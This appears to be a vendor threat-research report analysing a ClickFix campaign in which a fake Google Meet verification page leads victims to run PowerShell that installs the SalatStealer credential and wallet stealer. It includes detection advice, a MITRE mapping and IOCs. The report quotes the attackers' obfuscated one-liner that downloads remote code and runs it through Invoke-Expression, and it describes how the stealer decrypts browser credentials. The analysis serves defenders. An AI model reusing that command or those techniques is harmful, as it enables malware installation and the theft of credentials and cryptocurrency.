Threat Research

ClickFix Abuse: Fake Google Meet Delivers SalatStealer

ClickFix to PureHVNC_ Multi-Stage Malware Delivery via Fake Booking Portal

Introduction

ClickFix-style social engineering campaigns continue to evolve as threat actors increasingly rely on legitimate Windows utilities and user-assisted execution to evade traditional security controls. In this campaign, attackers impersonate Google Meet through a fraudulent verification portal that tricks victims into executing an obfuscated PowerShell command via the Windows Run dialog.

The infection chain deploys a multi-stage malware workflow leveraging PowerShell and BITSAdmin to retrieve and execute SalatStealer, a Golang-based information stealer targeting browser credentials, session cookies, and cryptocurrency wallet data.

Analysis revealed credential theft functionality targeting Chromium- and Gecko-based browsers, browser extension wallet storage, LevelDB databases, and outbound communication with attacker-controlled infrastructure.

This report examines the infection workflow, PowerShell staging mechanisms, browser credential decryption behavior, wallet theft functionality, and network communication observed during static and dynamic analysis.

Fig: Google Meet Impersonation Used to Deliver SalatStealer
Fig: Google Meet Impersonation Used to Deliver SalatStealer

Infection Chain Overview

The observed infection chain follows a multi-stage execution workflow designed to abuse legitimate Windows functionality while minimizing detection visibility.

Attack Flow

  • Victim visits a fake Google Meet-themed verification portal hosted on online-meet[.]com
  • User is instructed to open the Windows Run dialog (Win + R)
  • Victim executes an obfuscated PowerShell command
  • Stage 1 PowerShell loader executes in memory
  • BITSAdmin retrieves the next-stage payload
  • UPX-packed SalatStealer payload is written to disk before execution
  • Browser credentials, cookies, autofill records, and wallet data are collected
  • Malware establishes outbound communication with attacker-controlled infrastructure

Initial Access and ClickFix Social Engineering

The campaign relies entirely on user-assisted execution rather than exploiting software vulnerabilities. Victims interacting with the fake Google Meet verification page are instructed to execute a malicious PowerShell command through the Windows Run dialog.

powershell -W H -C "$a='i';$b='wr';$c='ie';$d='x';&($c+$d)((&($a+$b) 'https://online-meet.com' -UseB).Content)"

The command launches a hidden PowerShell process and retrieves a remote payload directly into memory using dynamically reconstructed Invoke-WebRequest (IWR) and Invoke-Expression (IEX) commands.

This lightweight obfuscation technique reduces static detection visibility while enabling transient PowerShell-based payload staging.

No evidence of privilege escalation or kernel-level exploitation was observed during execution. The infection chain relies entirely on legitimate Windows utilities and user-assisted execution.

Fig: Stage 1 Powershell file
Fig: Stage 1 Powershell file

Stage-1 PowerShell Downloader

Once executed, the PowerShell loader retrieves a secondary script directly into memory and initiates staged malware delivery.

The downloader abuses BITSAdmin, a legitimate Windows LOLBin (Living Off-the-Land Binary), to retrieve the next-stage payload from attacker-controlled infrastructure and store it within the %TEMP% directory as:

GoogleMeetHelper.exe

Following successful download verification, the malware launches the executable as a detached background process using obfuscated command construction to reduce process visibility.

The downloaded executable was identified as a UPX-packed Golang-based SalatStealer payload.

Analysis of the binary revealed characteristics commonly associated with Golang malware, including statically linked dependencies, Golang runtime artifacts, and broad embedded string references associated with browser and wallet targeting.

Static analysis revealed embedded browser profile enumeration routines and hardcoded wallet directory references within the Golang binary. Additional analysis identified logic associated with Chromium SQLite database access and LevelDB parsing routines commonly used by browser-based cryptocurrency wallets.

Stage-2 Payload: SalatStealer

Mutex Creation

To prevent multiple concurrent executions on the infected host, the malware creates the mutex:

WEBR_BGN6AJB4TDY6

This behavior prevents duplicate execution and reduces operational instability on infected hosts.

If the mutex already exists, malware execution terminates.

Fig: Mutex creation
Fig: Mutex creation

Browser Credential Theft

SalatStealer enumerates browser profile directories associated with Chromium- and Gecko-based browsers to access stored credentials, cookies, autofill data, and session artifacts.

For Chromium-based browsers, the malware extracts the encrypted browser master key from the Local State file and decrypts it using the Windows CryptUnprotectData DPAPI API. The recovered key is subsequently used to decrypt credential and cookie data stored within SQLite databases using AES-GCM encryption.

Targeted browser artifacts include:

  • Login Data
  • Web Data
  • Network\Cookies

The malware supports a broad set of browsers, expanding credential theft capability across both mainstream and niche browser families.

Targeted Browsers

  • Google Chrome
  • Microsoft Edge
  • Brave
  • Opera GX
  • Firefox
  • Vivaldi
  • Chromium
  • Yandex Browser
  • Epic Privacy Browser
  • Comodo Dragon
  • Comodo IceDragon
  • Thorium
  • Slimjet
  • Coc Coc
  • Maxthon
  • UR Browser
  • Cent Browser
  • Iridium Browser
  • Torch Browser
  • Cyberfox
  • ChromePlus
  • Citrio
  • Amigo
  • Orbitum
  • Kometa
  • QIP Surf
  • Sputnik
  • Uran
  • DC Browser
  • 7 Star
  • K-Meleon
Fig : Harvesting Browser Session Cookies from Chromium Databases
Fig: Harvesting Browser Session Cookies from Chromium Databases
Fig : Chrome Credential Decryption Mechanism
Fig: Chrome Credential Decryption Mechanism

Cryptocurrency Wallet Theft

In addition to browser credential theft, SalatStealer targets cryptocurrency wallet storage locations and browser-extension-based wallet data.

The malware maintains a hardcoded list of wallet directories and associated browser extension storage paths, enabling theft of both standalone wallet artifacts and browser-based cryptocurrency data.

Analysis also revealed targeting of LevelDB databases commonly used by browser extensions to store authentication tokens, wallet metadata, and session information.

Targeted Wallets

  • MetaMask
  • Phantom
  • Trust Wallet
  • Coinbase Wallet
  • Exodus
  • AtomicWallet
  • Electrum
  • Guarda
  • Binance Wallet
  • SafePal
  • Solflare
  • Keplr
  • Coinomi
  • TerraStation
  • Martian
  • Fewcha
  • MyMonero
  • Jaxx Liberty
  • Ethereum Wallet
  • Bytecoin
  • Armory
  • Zcash Wallet

Fig: Crypto Wallet credential theft

Command-and-Control Communication

Network telemetry revealed repeated outbound encrypted communication with attacker-controlled infrastructure at:

185[.]213[.]240[.]179

The recurring bidirectional communication pattern indicates active command-and-control activity likely associated with beaconing and exfiltration of harvested browser and wallet data.

Fig: C2 communication

Detection Opportunities

PowerShell Abuse

SOC teams should monitor for:

  • powershell.exe launched from explorer.exe
  • Hidden PowerShell execution flags:
    • -W H
    • -WindowStyle Hidden
  • Use of Invoke-Expression (IEX)
  • Dynamic reconstruction of IWR and IEX
  • PowerShell network retrieval followed by immediate execution

MITRE ATT&CK Mapping

Tactic Technique ID Technique Name Observed Activity
Initial Access T1204 User Execution Victim was socially engineered into executing a malicious PowerShell command via the Windows Run dialog
Execution T1059.001 PowerShell Obfuscated PowerShell used to download and execute malicious payloads in memory
Defense Evasion T1027 Obfuscated Files or Information PowerShell commands reconstructed dynamically using string concatenation to evade detection
Defense Evasion T1197 BITS Jobs BITSAdmin abused as a LOLBin to stealthily download the next-stage payload
Defense Evasion T1027.002 Software Packing Stage-2 SalatStealer payload was packed using UPX
Defense Evasion T1497.001 System Checks Malware created mutex WEBR_BGN6AJB4TDY6 to avoid multiple executions
Credential Access T1555.003 Credentials from Web Browsers Browser credentials, autofill data, and login databases harvested from Chromium-based browsers
Credential Access T1539 Steal Web Session Cookie Chromium Network\\Cookies databases targeted for session cookie theft
Collection T1005 Data from Local System Cryptocurrency wallet files and browser extension data collected from local storage
Collection T1213 Data from Information Repositories LevelDB databases targeted to extract wallet/session/token information
Command and Control T1105 Ingress Tool Transfer Additional payloads downloaded from remote infrastructure during execution
Exfiltration T1041 Exfiltration Over C2 Channel Stolen browser and cryptocurrency data likely exfiltrated through C2 communication channels

Indicators of Compromise (IOCs)

File Hashes (SHA-256)

IOC Name
a7962ffda8cc0277c013ffd4bd4328e31aea8206b8379a0b574e05a5e5152812 clickfix.ps1
8a132e7dd4876c87b5c425db32291bd54a2f3a477c78ceb4d29f297867a150fa SalatStealer

C2 URL

Indicator Value
https://online-meet.com URL
185.213.240.179 IP Address

Conclusion

This campaign demonstrates how ClickFix-style social engineering continues to evolve through abuse of legitimate Windows tooling and user-assisted execution workflows. Rather than relying on software exploitation, the threat actor leverages PowerShell, BITSAdmin, and lightweight obfuscation techniques to stage and deploy SalatStealer while minimizing traditional detection opportunities.

The malware’s extensive browser and cryptocurrency wallet targeting highlights the continued operational focus on credential theft, session hijacking, and digital asset compromise. Detection efforts should prioritize behavioral monitoring of PowerShell execution, LOLBin abuse, anomalous browser database access, and suspicious executable activity originating from user-writable directories.

Contributors:

 

Pandurang Terkar

Pandurang Terkar

Rudra Pratap

Rudra Pratap

Advanced cyber security analytics platform visualizing real-time threat intelligence, network vulnerabilities, and data breach prevention metrics on an interactive dashboard for proactive risk management and incident response